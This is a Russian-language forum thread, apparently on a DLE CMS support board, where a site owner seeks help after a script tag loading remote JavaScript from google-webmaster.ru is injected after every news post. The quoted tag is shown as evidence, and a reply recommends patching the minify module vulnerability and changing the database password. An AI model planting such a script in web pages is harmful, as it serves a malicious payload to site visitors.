Подцепил фишинговую ссылку

[Wizard2030 0]

Добрый день! У меня сайт d3ver.kz , подцепил фишинговую ссылку посоветуйте, где копать, что искать, как найти или выкурить её можно из сайта! Спасибо за любую помощь)))

[lopaeva65 1]

Для начала поставите шаблон на сайт что бы можно было посмотреть проблему ))

[zimka 1]

воспользуйтесь поиском за 2-3 дня 100500 тем подняли уже...

[Wizard2030 0]

Щя шаблон поставлю, я прост бэкап шаблона хотел сделать, думал мож поможет

воспользуйтесь поиском за 2-3 дня 100500 тем подняли уже...

уже гуглил, но конкретных решений не нашёл, скинь сылку еси встречал 100500 тем по этому поводу

[alex32 934]

Щя шаблон поставлю, я прост бэкап шаблона хотел сделать, думал мож поможет

а как вы думаете, здесь просто так просят показать сайт? надо же видеть пациента, а не гадать на кофейной гуще

[Wizard2030 0]

Щя шаблон поставлю, я прост бэкап шаблона хотел сделать, думал мож поможет

а как вы думаете, здесь просто так просят показать сайт? надо же видеть пациента, а не гадать на кофейной гуще

Для начала поставите шаблон на сайт что бы можно было посмотреть проблему ))

Шаблон установлен, еси можете подскажите что делать, как избавиться

[alex32 934]

Шаблон установлен, еси можете подскажите что делать, как избавиться

[Wizard2030 0]

вот что я нашёл, на главной странице, в исходном коде после каждой новости цепляеться фишинговая сылка, получаеться после текста новости она цепляеться

<script async="async" type="text/javascript" src="http://google-webmaster.ru/1c383cd30b7c298ab50293adfecb7b18.js"></script>

как она туда прописываеться?

[alex32 934]

ну понятно, броня крепка и танки наши быстры.

[Wizard2030 0]

ну понятно, броня крепка и танки наши быстры.

Это ты таким спамом не в темным набрал 2449 сообщений?

ХЕЕЕЕЛП!!! Кароч всё печально что делать? Я залес в базу SQL и "О БОЖЕ" в конце каждого топика добавлена эта фишинговая сылка

[celsoft 6 002]

Wizard2030,

Вы не установили патч http://dle-news.ru/bags/v10/1580-potencialnaya-ugroza-v-module-minify.html

Установите данный патч. Смените пароль к БД, новый пароль поставьте в engine/data/dbconfig.php, потом в админпанели зайдите в раздел перестроения публикаций, и сделайте перестроение новостей, DLE автоматически удалит данный скрипт из новостей.

[zimka 1]

уже гуглил, но конкретных решений не нашёл, скинь сылку еси встречал 100500 тем по этому поводу

Видимо плохо гуглил... ссылка ссылка и еще можно найти...

[Wizard2030 0]

Всем спасибо, нашёл этот вредный код и удалил. Ещё раз СПАСИБО!